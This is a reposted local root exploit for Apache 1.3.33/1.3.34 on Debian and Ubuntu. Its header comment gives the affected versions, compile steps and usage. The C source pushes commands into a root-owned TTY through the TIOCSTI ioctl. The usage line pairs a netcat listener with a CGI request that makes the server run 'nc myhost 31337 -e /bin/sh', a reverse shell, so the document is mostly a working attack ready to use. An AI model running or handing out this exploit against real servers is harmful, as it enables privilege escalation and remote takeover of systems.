Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit
/*:: Kristian Hermansen ::
Date: 20070229
Description:Local attacker can influence Apache to direct commands
into an open ttyowned by user who started apache process, usually root.
This results inarbitrary command execution.
Affects: Apache 1.3.33/1.3.34 on DebianStable/Testing/Unstable/Experimental and Ubuntu Warty (4.10)/Hoary(5.04)/Breezy (5.10)/Dapper (6.06)
Edgy (6.10), Feisty (7.04).
Notes: Must have CGI execution privileges and
service started manuallyby root via shell.
Also try adding "Options +ExecCGI" to your .htaccessfile.
Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
Usage: nc-vvv -l -p 31337
http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
benkurtz, ... and who could forget ... setient (the gremlin)!!
*/
#include <fcntl.h>
#include <sys/ioctl.h>
intmain(int argc, char *argv[]) {
int pts = open("/dev/tty",O_RDONLY);
while(*argv != '\0') {
ioctl(pts,TIOCSTI,argv);
argv++;
}
return 0;
}//
页:
[1]